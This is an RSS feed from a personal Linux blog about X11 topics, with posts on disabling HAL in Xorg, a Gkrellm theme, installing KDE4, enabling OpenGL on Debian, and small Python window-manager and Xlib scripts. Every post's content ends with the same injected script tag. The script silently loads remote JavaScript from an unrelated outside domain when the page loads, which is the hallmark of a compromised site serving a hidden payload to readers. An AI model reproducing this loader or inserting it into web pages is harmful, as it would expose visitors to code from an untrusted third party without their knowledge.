<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Jkx@home &#187; x11</title>
	<atom:link href="http://www.larsen-b.com/tags/x11/feed" rel="self" type="application/rss+xml" />
	<link>http://www.larsen-b.com</link>
	<description>Titanium Exposé</description>
	<lastBuildDate>Fri, 31 Oct 2025 02:15:37 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5</generator>
		<item>
		<title>Disable HAL in Xorg on Debian / Ubuntu</title>
		<link>http://www.larsen-b.com/Article/341.html</link>
		<comments>http://www.larsen-b.com/Article/341.html#comments</comments>
		<pubDate>Sat, 04 Jul 2009 08:18:04 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Unix]]></category>
		<category><![CDATA[hal]]></category>
		<category><![CDATA[keyboard]]></category>
		<category><![CDATA[mouse]]></category>
		<category><![CDATA[x11]]></category>

		<guid isPermaLink="false">http://www.larsen-b.com/?p=341</guid>
		<description><![CDATA[Ok, let&#8217;s go for another big issue on the road to build a complex distro .. Maintainers tend to include one feature after one .. and now Debian is getting closer to bloat .. Anyway, sometime ago the HAL was &#8230; <a href="http://www.larsen-b.com/Article/341.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>Ok, let&#8217;s go for another big issue on the road to build a complex distro .. Maintainers tend to include one feature after one .. and now Debian is getting closer to bloat ..</p>
<p>Anyway, sometime ago the HAL was introduced in Xorg. This allow you to hotplug mouse / keyboard &#8230; But if for a reason, your HAL is buggy .. you can&#8217;t use a keyboard or a mice in Xorg. That&#8217;s a bullshit ! I discover a bug in RAID + HAL, and HAL is now segfaulting on my computer .. so I need to get ride of this Xorg / HAL &#8230;</p>
<p>First you must modify /etc/X11/Xorg.conf with something like this :</p>
<pre>Section "ServerFlags"
    Option "AutoAddDevices" "False"
    Option "AllowEmptyInput" "False"
EndSection</pre>
<p>This disable the hal support, but if you want to have the keyboard and mice, you must install the following packages :</p>
<ul>
<li>xserver-xorg-input-kbd</li>
<li>xserver-xorg-input-mouse</li>
</ul>
<p>That&#8217;s it&#8230; no HAL support Xorg anymore, that works fine &#8230;<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/341.html/feed</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Gkrellm Theme : Invisible by Jkx</title>
		<link>http://www.larsen-b.com/Article/284.html</link>
		<comments>http://www.larsen-b.com/Article/284.html#comments</comments>
		<pubDate>Sat, 26 Apr 2008 20:59:45 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Utils]]></category>
		<category><![CDATA[gkrellm]]></category>
		<category><![CDATA[x11]]></category>

		<guid isPermaLink="false">http://www.larsen-b.com/?p=284</guid>
		<description><![CDATA[I&#8217;m using Gkrellm for a long time now (perhaps 5 or more years). The main issue with Gkrellm is that theme aren&#8217;t really fresh anymore. So I tweaked some to feet with my needs. As you can see on the &#8230; <a href="http://www.larsen-b.com/Article/284.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p><a href="http://www.larsen-b.com/wp-content/uploads/gkrellm-themes-invisible-jkx.tgz"></a></p>
<p><img class="alignright" style="float: right;" src="http://jkx.larsen-b.com/photos/blog/gkrellm_invisibe_jkx.jpg" alt="" width="162" height="388" /></p>
<p>I&#8217;m using <a href="http://members.dslextreme.com/users/billw/gkrellm/gkrellm.html">Gkrellm </a>for a long time now (perhaps 5 or more years). The main issue with Gkrellm is that theme aren&#8217;t really fresh anymore. So I tweaked some to feet with my needs.</p>
<p>As you can see on the screen-shot this theme is a transparent one, with a blue and violet krells</p>
<p>You can download it here : <a href="http://www.larsen-b.com/wp-content/uploads/gkrellm-themes-invisible-jkx.tgz">gkrellm-themes-invisible-jkx</a></p>
<p><strong>/ Enjoy the dark side of the desktop :)</strong><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/284.html/feed</wfw:commentRss>
		<slash:comments>21</slash:comments>
		</item>
		<item>
		<title>Howto install KDE4 on a Ubuntu 8.10 (or 8.04)</title>
		<link>http://www.larsen-b.com/Article/281.html</link>
		<comments>http://www.larsen-b.com/Article/281.html#comments</comments>
		<pubDate>Sat, 19 Apr 2008 13:35:51 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Misc]]></category>
		<category><![CDATA[kde]]></category>
		<category><![CDATA[ubuntu]]></category>
		<category><![CDATA[x11]]></category>

		<guid isPermaLink="false">http://www.larsen-b.com/?p=281</guid>
		<description><![CDATA[Today, it&#8217;s the time to switch to the next Ubuntu version. One interesting stuff in the latest distro, is the KDE4, but by default you still get a 3.5.9 revision.. Here a little tips to switch easily: First uninstall the &#8230; <a href="http://www.larsen-b.com/Article/281.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>Today, it&#8217;s the time to switch to the next Ubuntu version. One interesting stuff in the latest distro, is the KDE4, but by default you still get a 3.5.9 revision..</p>
<p>Here a little tips to switch easily:</p>
<h1>First uninstall the previous version</h1>
<pre>sudo apt-get remove --purge kdebase-bin-kde3
sudo apt-get autoremove --purge</pre>
<h1>Install KDE4</h1>
<pre>sudo apt-get install kde4</pre>
<p>As you can see, this is not really hard. The trick is to remove the old version cleanly.</p>
<p><strong>Enjoy ? </strong><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/281.html/feed</wfw:commentRss>
		<slash:comments>13</slash:comments>
		</item>
		<item>
		<title>Howto to get openGL working on Debian (for Google Earth)</title>
		<link>http://www.larsen-b.com/Article/231.html</link>
		<comments>http://www.larsen-b.com/Article/231.html#comments</comments>
		<pubDate>Mon, 12 Jun 2006 23:03:17 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Unix]]></category>
		<category><![CDATA[google earth]]></category>
		<category><![CDATA[openGL]]></category>
		<category><![CDATA[x11]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[3D drivers (openGL) have awlays been a source of problem on Linux. A lot of people just don&#8217;t care, since they don&#8217;t use there computer to play games. But yesterday, something change this fact: Google released a native version of &#8230; <a href="http://www.larsen-b.com/Article/231.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>3D drivers (openGL) have awlays been a source of problem on Linux.<br />
A lot of people just don&#8217;t care, since they don&#8217;t use there computer<br />
to play games. But yesterday, something change this fact: Google released<br />
a native version of Google Earth for Linux[1]. As I already played with<br />
Google Earth before, I really want to test this new toy.[2]</p>
<p>Fine, except that I&#8217;m unable to get hardware openGL working and Google Earth is<br />
really slow, so I decided to fix that. (done on two computers..)</p>
<div class="section">
<h1><a id="configure-your-kernel" name="configure-your-kernel">1) Configure your kernel</a></h1>
<p>Be sure to have AGP (Device drivers-&gt;Character device) and DRM (Device<br />
drivers -&gt;Graphic drivers) enabled for your card. Now rebuild it using<br />
the usual way.. and reboot.</p>
<p>After the boot look at dmesg, you should find something like this:</p>
<pre class="literal-block">agpgart: Detected 892K stolen memory.
agpgart: AGP aperture is 128M @ 0xf0000000
[drm] Initialized drm 1.0.1 20051102
...
[drm] Initialized i915 1.4.0 20060119 on minor 0
[drm] Initialized i915 1.4.0 20060119 on minor 1</pre>
<dl class="docutils">
<dt>(If you have a Dell computer like D400 with Intel 855GM, you need to</dt>
<dd>choose the i915 driver for DRM, edit the linux/.config since it doesn&#8217;t<br />
appear in common menuconfig)</dd>
</dl>
</div>
<div class="section">
<h1><a id="install-the-latest-xorg" name="install-the-latest-xorg">2) Install the latest Xorg</a></h1>
<p>This is the tricky part, since Xorg update are not really easy this days.</p>
<pre class="literal-block">sudo apt-get install xserver-xorg</pre>
<p>Let&#8217;s go, for a long update&#8230; (I&#8217;m switching from 6.9 to Xorg 7.0)..<br />
I spent a little time to fix some errors here.. but nothing really important.</p>
</div>
<div class="section">
<h1><a id="install-mesa" name="install-mesa">3) Install Mesa</a></h1>
<p>Now, you need to install the openGL libs, simple apt-get this packages:</p>
<ul class="simple">
<li>xlibmesa-dri</li>
<li>xlibmesa-gl</li>
<li>xlibmesa-glu</li>
<li>mesa-utils</li>
<li>libgl1-mesa-dri</li>
<li>libgl1-mesa-glx</li>
</ul>
</div>
<div class="section">
<h1><a id="tests" name="tests">4) Tests</a></h1>
<p>Start your Xserver, and look in /var/log/Xorg.0.log, you should fine stuff like<br />
this:</p>
<pre class="literal-block">(II) I810(0): [drm] created "i915" driver at busid "pci:0000:00:02.0"
(II) I810(0): [drm] added 8192 byte SAREA at 0xe0b2f000</pre>
<p>So we can test check with <em>glxinfo</em></p>
<pre class="literal-block">display: :0  screen: 0
direct rendering: Yes
server glx vendor string: SGI
server glx version string: 1.2</pre>
<p>Be sure to have <em>direct rendering</em> ok.. if this is ok, .. you can start glxgears..<br />
and Google Earth :) ..</p>
<p><img src="http://jkx.larsen-b.com/photos/blog/google_earth.sized.jpg" alt="http://jkx.larsen-b.com/photos/blog/google_earth.sized.jpg" /></p>
</div>
<div class="section">
<h1><a id="issues" name="issues">5) Issues</a></h1>
<p>Some users have some trouble w/ DRI not working with  strange messages<br />
( sizeof(I830DRIRec) does not match &#8230;), or strange display updates (out of syncr<br />
windows .. ). This seems to be bugs in Mesa, you can try the latest experimental<br />
(which fix all issues for me). Simply install this packages:</p>
<blockquote>
<ul class="simple"></ul>
</blockquote>
<li>libgl1-mesa-dri_6.5.0.cvs</li>
<li>libglu1-mesa_6.5.0.cvs</li>
<li>libgl1-mesa-glx_6.5.0.cvs</li>
<p><strong>Update: Added issues w/ my Dell Latitude D400</strong></p>
<p><strong>Update2: The latest mesa from the Debian SID is working right now</strong> (no more experimental)</p>
<ul class="simple">
<li>[1] <a class="reference" href="http://www.larsen-b.com/Article/212.html">http://www.larsen-b.com/Article/212.html</a></li>
<li>[2] <a class="reference" href="http://earth.google.com/">http://earth.google.com/</a></li>
</ul>
</div>
<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/231.html/feed</wfw:commentRss>
		<slash:comments>30</slash:comments>
		</item>
		<item>
		<title>Hacking your window manager with Python</title>
		<link>http://www.larsen-b.com/Article/208.html</link>
		<comments>http://www.larsen-b.com/Article/208.html#comments</comments>
		<pubDate>Mon, 27 Jun 2005 16:12:38 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Misc]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[window manager]]></category>
		<category><![CDATA[x11]]></category>
		<category><![CDATA[xfce]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[I was looking for a way to hack my window manager in Python. I want to use special piece of code to handle the window placement, or display stuffs in the background.. It looks like pyxfce meet my needs, so &#8230; <a href="http://www.larsen-b.com/Article/208.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>I was looking for a way to hack my window manager in Python. I want to use special piece of code to handle the window placement, or display stuffs in the background..</p>
<p>It looks like <a class="reference" href="http://pyxfce.xfce.org/">pyxfce</a> meet my needs, so I decided to give it a try. The first thing to do is to build the latest svn of xfce. Next step play with the python wrapper.</p>
<p><strong>Update</strong>: You don&#8217;t need the latest version (svn) of xfce. <a class="reference" href="http://pyxfce.xfce.org/">pyxfce</a> works w/ xfce 4.2.1. The debian package is broken, as rely on a old libxfcegui (4.1)</p>
<p><strong>Update 2</strong>: Debian package is fixed right now :)</p>
<p>Here is a little example of what you can do without too much pain. This script wait for every new window, and stack it on the same workspace as previous other windows of the same app. For example, the emacs windows is launched of the workspace &#8217;4&#8242;, all other emacs windows will be displayed on this workspace.</p>
<pre class="literal-block">import sys
import xfce4
import gtk

black_list = ['xfrun4','Terminal']

def newWinHandler(screen,win):
    name =  win.get_resource_name()
    if name not in black_list:
       for w in screen.get_windows():
           if w != win and w.get_resource_name() == name:
              dest = w.get_workspace()
              win.move_to_workspace( dest )
              break

screen = xfce4.netk.screen_get_default()
screen.connect("window-opened",newWinHandler)
gtk.main()</pre>
<p>The major issue of <a class="reference" href="http://pyxfce.xfce.org/">pyxfce</a> is the lack of documentation, you can do a lot of stuffs with it like creating custom xfce applications, but i didn&#8217;t find anything about this.<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/208.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Glade-2 to .py</title>
		<link>http://www.larsen-b.com/Article/189.html</link>
		<comments>http://www.larsen-b.com/Article/189.html#comments</comments>
		<pubDate>Thu, 13 Jan 2005 08:23:24 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Misc]]></category>
		<category><![CDATA[glade]]></category>
		<category><![CDATA[gtk]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[qt]]></category>
		<category><![CDATA[wx]]></category>
		<category><![CDATA[x11]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[In a past life, I spent a lot of time with gtk-1 and glade (for a commercial app). After this experience, I tested several approach: PyQT (using QTDesigner) wxPython (w/ wxGlade) Glade 2 + libglade Here is my personnal feeling: &#8230; <a href="http://www.larsen-b.com/Article/189.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>In a past life, I spent a lot of time with gtk-1 and glade (for a commercial app). After this experience, I tested several approach:</p>
<ul class="simple">
<li>PyQT (using QTDesigner)</li>
<li>wxPython (w/ wxGlade)</li>
<li>Glade 2 + libglade</li>
</ul>
<p>Here is my personnal feeling:</p>
<ul class="simple">
<li>PyQT, is really great. But I really don&#8217;t like the licence. And since I work in a school, using this kind of licence with students is bad idea</li>
<li>wxPython + wxGlade is a great tool too. But but as usuall w/ wxPython the generated code isn&#8217;t cross-platform friendly. (And on Linux, the look is really bad ..)</li>
<li>Glade is a simple, and effective, but using libglade (loading the .glade at startup) isn&#8217;t really my favorite approach.</li>
</ul>
<p>In my past life, we used to build IHM w/ glade-1 and produce the python code from a little script. This is easy and efficient. (and a newbie can learn python-gtk easily). I have been looking for the same stuff in gtk2 for a while. And last day, I found the article <a class="reference" href="http://primates.ximian.com/~sandino/python-glade/">Writing PyGTK applications in a visual way</a> . This is exactly what I&#8217;m looking for! So big thanks Tigrux !<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/189.html/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Keyboard shortcut with Python-Xlib</title>
		<link>http://www.larsen-b.com/Article/184.html</link>
		<comments>http://www.larsen-b.com/Article/184.html#comments</comments>
		<pubDate>Thu, 16 Dec 2004 11:40:15 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Misc]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[x11]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[I use this little script on another computer for a while. Meanly to remote drive my xmms throught the xmms python module. Anyway I just write this little intro here, perhaps other people may be interested.. This litte script use &#8230; <a href="http://www.larsen-b.com/Article/184.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>I use this little script on another computer for a while. Meanly to remote drive my xmms throught the xmms python module. Anyway I just write this little intro here, perhaps other people may be interested..</p>
<p>This litte script use <a class="reference" href="http://python-xlib.sourceforge.net/">Xlib python</a> module to grab keys. If the key is special key on my laptop, i use it to change the sound level. This is a short example, not a definitive app.</p>
<pre class="literal-block">
from Xlib.display import Display
from Xlib import X
import oss

# custom keys from my dell D400 Laptop
vol_plus  = 176
vol_moins = 174

keys = [vol_plus,vol_moins]

def changeVolume(aValue):
	mixer = oss.open_mixer()
	symbol = oss.SOUND_DEVICE_LABELS.index('Vol  ')
	left,right  = mixer.read_channel(symbol)

	avg = (left + right) / 2
	if (avg + aValue) >= 0:
		mixer.write_channel(symbol,(left + aValue,right + aValue))
	mixer.close()

def handle_event(aEvent):
	keycode = aEvent.detail
	if aEvent.type == X.KeyPress:
		if keycode == vol_moins:
			changeVolume(-2)
		elif keycode == vol_plus:
			changeVolume(+2)

def main():
	# current display
	disp = Display()
	root = disp.screen().root

	# we tell the X server we want to catch keyPress event
	root.change_attributes(event_mask = X.KeyPressMask)

	for keycode in keys:
		root.grab_key(keycode, X.AnyModifier, 1,X.GrabModeAsync, X.GrabModeAsync)

	while 1:
		event = root.display.next_event()
		handle_event(event)

if __name__ == '__main__':
	main()
</pre>
<p>As you can see, this is really trivial, and simple to hack XFree w/ python :)<br />
I need to send special thanks to the python-Xlib author, because he does a great job, and he help me a lot the first time I hacked this.<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/184.html/feed</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Ion Window Manager</title>
		<link>http://www.larsen-b.com/Article/166.html</link>
		<comments>http://www.larsen-b.com/Article/166.html#comments</comments>
		<pubDate>Mon, 04 Oct 2004 19:59:45 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Utils]]></category>
		<category><![CDATA[window manager]]></category>
		<category><![CDATA[x11]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Ion is a powerfull window manager, but the main issue of this WM is the configuration. We have already chat a little w/ Ian about this. While browsing the web, I discover this post on IBM Network. So now, Ion &#8230; <a href="http://www.larsen-b.com/Article/166.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p><a class="reference" href="http://modeemi.cs.tut.fi/~tuomov/ion/">Ion</a> is a powerfull window manager, but the main issue of this WM is the configuration. We have already chat a little w/ Ian about this. While browsing the web, I discover <a class="reference" href="http://www-106.ibm.com/developerworks/linux/library/l-cpion.html">this</a> post on IBM Network.</p>
<p>So now, Ion is really fine, and IBM provide a nice doc :)<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/166.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Better window placement for every WM</title>
		<link>http://www.larsen-b.com/Article/159.html</link>
		<comments>http://www.larsen-b.com/Article/159.html#comments</comments>
		<pubDate>Mon, 13 Sep 2004 22:19:30 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Utils]]></category>
		<category><![CDATA[window manager]]></category>
		<category><![CDATA[x11]]></category>
		<category><![CDATA[xfce]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[I&#8217;m using xfce window manager since a while now. I&#8217;m only using the taskbar and the wm in fact. But i was looking for a feature for a long time. Xfce wm doesn&#8217;t support matched window placement (ala sawfish). For &#8230; <a href="http://www.larsen-b.com/Article/159.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>I&#8217;m using <a class="reference" href="http://www.xfce.org">xfce</a> window manager since a while now. I&#8217;m only using the taskbar and the wm in fact. But i was looking for a feature for a long time. Xfce wm doesn&#8217;t support matched window placement (ala sawfish).</p>
<p>For example, there is no way to place gkrellm on every workspace, or tell Kmail for stick on workspace 2. Yesterday, while surfing, i discover <a class="reference" href="http://www.google.fr/search?q=devilspie">devilspie</a>.</p>
<p>Example:</p>
<pre class="literal-block">&lt;!-- For gkrellm: place on every desktop, and hide in the tasklist --&gt;
&lt;flurb name="gkrellm on all Desktops"&gt;
  &lt;matchers&gt;
    &lt;matcher name="DevilsPieMatcherWindowName"&gt;
      &lt;property name="application_name" value="gkrellm"/&gt;
    &lt;/matcher&gt;
  &lt;/matchers&gt;
  &lt;actions&gt;
    &lt;action name="DevilsPieActionSetWorkspace"&gt;
      &lt;property name="pinned" value="TRUE"/&gt;
    &lt;/action&gt;
    &lt;action name="DevilsPieActionHide"&gt;
      &lt;property name="skip_tasklist" value="TRUE"/&gt;
    &lt;/action&gt;
  &lt;/actions&gt;
&lt;/flurb&gt;

&lt;!-- stick Kmail on desktop 4 --&gt;
&lt;flurb&gt;
  &lt;matchers&gt;
    &lt;matcher name="DevilsPieMatcherWindowName"&gt;
      &lt;property name="application_name" value="KMail"/&gt;
    &lt;/matcher&gt;
  &lt;/matchers&gt;
  &lt;actions&gt;
    &lt;action name="DevilsPieActionSetWorkspace"&gt;
      &lt;property name="workspace_index" value="4"/&gt;
    &lt;/action&gt;
  &lt;/actions&gt;
&lt;/flurb&gt;</pre>
<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/159.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Building KDE Applet for fun and profit</title>
		<link>http://www.larsen-b.com/Article/41.html</link>
		<comments>http://www.larsen-b.com/Article/41.html#comments</comments>
		<pubDate>Sat, 08 Nov 2003 10:07:20 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Misc]]></category>
		<category><![CDATA[applet]]></category>
		<category><![CDATA[kde]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[x11]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[I have been waiting for this since a long. After writing a lot of applet for gnome desktop, now we can also write some for KDE ! Take a look at this article for additionnal infos. I&#8217;m pretty sure that &#8230; <a href="http://www.larsen-b.com/Article/41.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>I have been waiting for this since a long. After writing a lot of applet for gnome desktop, now we can also write some for KDE !</p>
<p>Take a look at this <a class="reference" href="http://www.riverbankcomputing.co.uk/pykde/docs/panapp1.html">article</a> for additionnal infos. I&#8217;m pretty sure that a lot of fun applet will rise soon. I get some idea right now.</p>
<p>I really think that Python is the weapon key for desktop, so open you eyes .. let&#8217;s start :)<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/41.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
